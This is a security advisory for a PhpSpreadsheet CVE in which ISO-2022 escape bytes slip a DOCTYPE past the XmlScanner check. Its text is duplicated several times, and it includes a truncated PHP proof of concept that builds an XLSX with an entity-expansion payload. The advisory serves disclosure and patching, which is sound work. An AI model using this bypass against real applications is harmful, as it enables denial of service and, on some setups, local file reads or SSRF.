CVE-2026-108358

PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0, XmlScanner::scan in src/PhpSpreadsheet/Reader/Security/XmlScanner.php uses a DOCTYPE detection pattern that accounts for NUL-byte interleaving but not ISO-2022 escape sequences in XLSX XML parts. The escape sequences prevent the scanner from matching the declaration, and XML charset normalization then removes the escape bytes before parsing, exposing a valid DOCTYPE and entity definitions. Processing an attacker-controlled XLSX can therefore cause entity-expansion denial of service on supported PHP versions and can permit local file access or SSRF on PHP before 8.0 or when LIBXML_NOENT is enabled. This issue is fixed in versions 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0.

PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0, XmlScanner::scan in src/PhpSpreadsheet/Reader/Security/XmlScanner.php uses a DOCTYPE detection pattern that accounts for NUL-byte interleaving but not ISO-2022 escape sequences in XLSX XML parts. The escape sequences prevent the scanner from matching the declaration, and XML charset normalization then removes the escape bytes before parsing, exposing a valid DOCTYPE and entity definitions. Processing an attacker-controlled XLSX can therefore cause entity-expansion denial of service on supported PHP versions and can permit local file access or SSRF on PHP before 8.0 or when LIBXML_NOENT is enabled. This issue is fixed in versions 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0.

Summary

PhpSpreadsheet's XmlScanner::scan() uses a regex pattern that only accounts for NULL byte (0x00) interleaving when detecting <!DOCTYPE. ISO-2022 escape sequences (0x1B bytes) inserted between the characters of the pattern break the regex match entirely, allowing DOCTYPE declarations with entity definitions to pass through undetected. This enables Denial of Service via quadratic entity expansion on all PHP versions, and XXE/SSRF on PHP < 8.0 or when LIBXML_NOENT is used. Any application using PhpSpreadsheet to process user-uploaded XLSX files is affected.

Details

The vulnerability exists in src/PhpSpreadsheet/Reader/Security/XmlScanner.php, method scan(), lines 87–100.

The scanner builds a regex pattern /\0*<\0*!\0*D\0*O\0*C\0*T\0*Y\0*P\0*E\0*/ that only handles NULL byte interleaving. ISO-2022 escape sequences (e.g., 0x1B 0x28 0x42 for ISO-2022-JP) inserted between each character of <!DOCTYPE break the regex because it only expects optional \0 between characters.

The XLSX reader extracts XML parts from the ZIP archive and passes each through XmlScanner::scan() before simplexml_load_string(). The XML parser strips the ESC bytes during charset normalization, producing a valid <!DOCTYPE declaration that the scanner never detected.

Seven ISO-2022 encoding variants bypass the scanner:

• ISO-2022-JP (ESC ( B)
• ISO-2022-JP-2 (ESC $ B)
• ISO-2022-KR (ESC $ ) C)
• ISO-2022-CN (ESC $ ) A)
• ISO-2022-CN-EXT (ESC $ ) G)
• ISO-2022-JP-2004 (ESC $ ( Q)
• ISO-2022-JP-MS (ESC & @ ESC $ B)

Internal entity expansion (quadratic blowup) is not blocked by libxml2 2.9+ defaults, making this directly exploitable for DoS on all modern PHP versions.

PoC

Save the following as poc_iso2022.php in a directory with PhpSpreadsheet installed via Composer:

<?php
require 'vendor/autoload.php';

// ESC ( B = ISO-2022-JP escape sequence (switch to ASCII)
$esc = "\x1b\x28\x42";

// Build <!DOCTYPE with ESC bytes between each character
$doctype = "<".$esc."!".$esc."D".$esc."O".$esc."C".$esc."T".$esc."Y".$esc."P".$esc."E";

// Internal entity for DoS (works on ALL PHP versions)
$entity_value = str_repeat('A', 100000);
$refs = str_repeat('&big;', 200);

$shared_strings = '<?xml version="1.0" encoding="UTF-8"?>' . "\n"
    . $doctype . ' sst [' . "\n"
    . '  <!ENTITY big "' . $entity_value . '">' . "\n"
    . ']>' . "\n"
    . '<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1">'
    . '<si><t>' . $refs . '</t></si></sst>';

// Build minimal XLSX
$xlsx = new ZipArchive();
$xlsx->open('poc.xlsx', ZipArchive::CREATE | ZipArchive::OVERWRITE);
$xlsx->addFromString('[Content_Types].xml',
    '<?xml version="1.0"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">'
    .'<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>'
    .'<Default Extension="xml" ContentType="application/xml"/>'
    .'<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>'
    .'<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>'
    .'<Override PartName="/xl/sharedStrings.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sharedStrings+xml"/>'
    .'</Types>');
$xlsx->addFromString('_rels/.rels',
    '<?xml version="1.0"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'
    .'<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>'
    .'</Relationships>');
$xlsx->addFromString('xl/workbook.xml',
    '<?xml version="1.0"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">'
   …

PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0, XmlScanner::scan in src/PhpSpreadsheet/Reader/Security/XmlScanner.php uses a DOCTYPE detection pattern that accounts for NUL-byte interleaving but not ISO-2022 escape sequences in XLSX XML parts. The escape sequences prevent the scanner from matching the declaration, and XML charset normalization then removes the escape bytes before parsing, exposing a valid DOCTYPE and entity definitions. Processing an attacker-controlled XLSX can therefore cause entity-expansion denial of service on supported PHP versions and can permit local file access or SSRF on PHP before 8.0 or when LIBXML_NOENT is enabled. This issue is fixed in versions 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0.

PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0, XmlScanner::scan in src/PhpSpreadsheet/Reader/Security/XmlScanner.php uses a DOCTYPE detection pattern that accounts for NUL-byte interleaving but not ISO-2022 escape sequences in XLSX XML parts. The escape sequences prevent the scanner from matching the declaration, and XML charset normalization then removes the escape bytes before parsing, exposing a valid DOCTYPE and entity definitions. Processing an attacker-controlled XLSX can therefore cause entity-expansion denial of service on supported PHP versions and can permit local file access or SSRF on PHP before 8.0 or when LIBXML_NOENT is enabled. This issue is fixed in versions 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0.

Summary

PhpSpreadsheet's XmlScanner::scan() uses a regex pattern that only accounts for NULL byte (0x00) interleaving when detecting <!DOCTYPE. ISO-2022 escape sequences (0x1B bytes) inserted between the characters of the pattern break the regex match entirely, allowing DOCTYPE declarations with entity definitions to pass through undetected. This enables Denial of Service via quadratic entity expansion on all PHP versions, and XXE/SSRF on PHP < 8.0 or when LIBXML_NOENT is used. Any application using PhpSpreadsheet to process user-uploaded XLSX files is affected.

Details

The vulnerability exists in src/PhpSpreadsheet/Reader/Security/XmlScanner.php, method scan(), lines 87–100.

The scanner builds a regex pattern /\0*<\0*!\0*D\0*O\0*C\0*T\0*Y\0*P\0*E\0*/ that only handles NULL byte interleaving. ISO-2022 escape sequences (e.g., 0x1B 0x28 0x42 for ISO-2022-JP) inserted between each character of <!DOCTYPE break the regex because it only expects optional \0 between characters.

The XLSX reader extracts XML parts from the ZIP archive and passes each through XmlScanner::scan() before simplexml_load_string(). The XML parser strips the ESC bytes during charset normalization, producing a valid <!DOCTYPE declaration that the scanner never detected.

Seven ISO-2022 encoding variants bypass the scanner:

• ISO-2022-JP (ESC ( B)
• ISO-2022-JP-2 (ESC $ B)
• ISO-2022-KR (ESC $ ) C)
• ISO-2022-CN (ESC $ ) A)
• ISO-2022-CN-EXT (ESC $ ) G)
• ISO-2022-JP-2004 (ESC $ ( Q)
• ISO-2022-JP-MS (ESC & @ ESC $ B)

Internal entity expansion (quadratic blowup) is not blocked by libxml2 2.9+ defaults, making this directly exploitable for DoS on all modern PHP versions.

PoC

Save the following as poc_iso2022.php in a directory with PhpSpreadsheet installed via Composer:

<?php
require 'vendor/autoload.php';

// ESC ( B = ISO-2022-JP escape sequence (switch to ASCII)
$esc = "\x1b\x28\x42";

// Build <!DOCTYPE with ESC bytes between each character
$doctype = "<".$esc."!".$esc."D".$esc."O".$esc."C".$esc."T".$esc."Y".$esc."P".$esc."E";

// Internal entity for DoS (works on ALL PHP versions)
$entity_value = str_repeat('A', 100000);
$refs = str_repeat('&big;', 200);

$shared_strings = '<?xml version="1.0" encoding="UTF-8"?>' . "\n"
    . $doctype . ' sst [' . "\n"
    . '  <!ENTITY big "' . $entity_value . '">' . "\n"
    . ']>' . "\n"
    . '<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1">'
    . '<si><t>' . $refs . '</t></si></sst>';

// Build minimal XLSX
$xlsx = new ZipArchive();
$xlsx->open('poc.xlsx', ZipArchive::CREATE | ZipArchive::OVERWRITE);
$xlsx->addFromString('[Content_Types].xml',
    '<?xml version="1.0"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">'
    .'<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>'
    .'<Default Extension="xml" ContentType="application/xml"/>'
    .'<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>'
    .'<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>'
    .'<Override PartName="/xl/sharedStrings.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sharedStrings+xml"/>'
    .'</Types>');
$xlsx->addFromString('_rels/.rels',
    '<?xml version="1.0"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'
    .'<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>'
    .'</Relationships>');
$xlsx->addFromString('xl/workbook.xml',
    '<?xml version="1.0"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">'
   …

TuxCare rebuilt phpoffice/phpspreadsheet to address 1 CVE. Fixed in 4.5.0-p4+tuxcare.